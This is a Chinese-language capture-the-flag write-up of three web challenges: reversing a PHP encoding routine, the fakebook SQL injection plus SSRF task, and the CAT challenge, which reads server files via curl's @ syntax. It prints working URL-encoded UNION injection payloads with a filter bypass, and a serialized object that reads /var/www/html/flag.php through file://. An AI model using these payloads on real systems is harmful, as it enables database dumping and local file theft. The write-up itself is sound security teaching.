0x00 NSCTFweb2题解(19)
打开题目直接是一段代码,提示逆向即为flag,首先看代码:
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
从算法可以看出,最后呈现给我们的字符串是str_rot13(strrev(base64_encode($_)));
,而$_
是for
循环中挨个取值ascii
码加1
的结果,我们一步步逆向回去即可。
首先进行rot13
解码。
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=str_rot13($miwen);
然后将字符串反转后进行base64
解密。
$miwen=strrev($miwen);
$miwen1 = base64_decode($miwen);
然后逆向for
循环中的语句,所有加1
变减1
即可,最后因为$_=$_.$_c;
是向后拼接的结果,所以要再次将字符串翻转。
for ($_0=0;$_0<strlen($miwen1);$_0++){
$_c=substr($miwen1,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo strrev($_);
最终结果为flag,全部提交为正确答案。
完整代码为:
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=str_rot13($miwen);#rot13解码
$miwen=strrev($miwen);#字符串翻转
$miwen1 = base64_decode($miwen);#base64解码
echo $miwen1."<br/>";
$_=''; #初始化变量
for ($_0=0;$_0<strlen($miwen1);$_0++){
$_c=substr($miwen1,$_0,1);
$__=ord($_c)-1; #将ascii码减1
$_c=chr($__); #转换为字符
$_=$_.$_c; #拼接字符
}
echo strrev($_);#再次翻转
运行结果为:
flag为:
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
0x01 网鼎杯 2018 fakebook题解(20)
这个题目首先是需要登录后,进行查询操作,最后在查询时将字段的值反序列化得到敏感文件,是一道比较综合的题目。
首先主页显示的一个blog系统,显示用户的id、blog等信息。
当我们注册一个登录后,页面显示为:
然后username是一个链接,这里是去查询这个id的所有信息,也就是这4个字段,url
为:
http://111.200.241.244:53591/view.php?no=1
输入单引号报错,说明可能存在注入漏洞
尝试注入:
这里注入点是数字型,no
表示的应当是id号。
所以直接在参数后加order by
即可。
经过测试共4个字段。
使用union联合查询时报错,发现过滤了union select
整个语法。
使用注释符绕过一下。
-1%20union/**/select%201,2,3,4#
可以看到这个时候回显的位置已经判断出来了,username
已经从1
变成了2
,说明我们此时查询回显的位置为2
,将2
中的语句替换,使用
-1%20union/**/select%201,database()3,4#
-1%20union/**/select%201,user(),3,4#
-1%20union/**/select%201,select%20group_concat(SCHEMA_NAME)%20from%20information_schema.SCHEMATA,3,4#
查询所有的数据库和当前库名、用户名。得到信息:
所有数据库为:
fakebook
information_schema
mysql
performance_schema
test
当前库为:fakebook
当前用户为:root@localhost
使用
-1%20union/**/select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%27fakebook%27),3,4#
查询fakebook库中的表为users
使用
-1%20union/**/select%201,(select%20group_concat(COLUMN_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27fakebook%27%20and%20TABLE_NAME=%27users%27),3,4#
查询表中字段为:
no
username
passwd
data
可见数据库中并没有flag字段,当然要是有这个题就太基础了。
接下来就到了这个题目的第二部,源码审计,在robots.txt
中发现了user.php
的备份文件,下载下来查看:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
代码没有反序列化的各种绕过和Pop
链,只有一个解析域名的SSRF漏洞,可以通过curl_exec
包含本地文件,这里通过注入查找发现data中的数据就是序列化之后的字串。
-1%20union/**/select%201,(select%20data%20from%20users%20where%201=1),3,4#
返回的data数据为:
且报错显示在反序列化时发生了错误。
尝试把查询到的数据带入4位置中,发现返回正常页面,也就是说,被查询的序列化字符串被反序列化后显示到了前面3个字段,这时我们需要构造序列化串,来读取我们需要的文件。
构造序列化串读取/var/www/html/flag.php
:
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
传入4的位置,使我们的字符串被序列化读取文件。
最终payload:
no=-11%20union/**/SELECT%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27#
返回页面为:
得到flag:
flag{c1e552fdf77049fabf65168f22f7aeab}
0x02 WHCTF-2017 CAT题解(21)
这个题目打开之后要求输入一个域名,试试baidu.com
,没什么反应。
但是url
变了,增加了一个参数可以控制,url=
试试127.0.0.1
,发现是一个ping
命令,返回执行的结果。
但使用|
管道符和;
分号分割命令都不可行,都被过滤。
其实这个题目没有什么特殊的思路,大佬们的wp也都比较简单,总的来说就是让这个框架写的后台报错,在报错信息中找到答案,当然这里首先是FUZZ了所有过滤的字符,发现只留下了@
这一个字符,然后通过超出ascii码的输入使框架报错,这里使用宽字节使后台报错,输入%bf
,返回错误信息。
报错信息中提示出现错误的python路径为/opt/api,在处理gbk编码时解码出现了错误,没有办法继续执行了。
这里大佬们都说对python站点使用Django框架,配置信息会存放在工作目录的setting.py
中。这里php curl
中有一个知识点,可以使用@
加上完整的路径来传递文件,从而找到我们的敏感信息,首先使用
@/opt/api/api/settings.py
来获取数据库配置的信息,但是事实上在一开始宽字节报错时下面就有一部分setting
的报错,已经将数据库的信息打印了出来,所以只需要直接去找数据库的信息即可。
这里使用
@/opt/api/database.sqlite3
在报错信息中找到flag。
flag为:
WHCTF{yoooo_Such_A_G00D_@}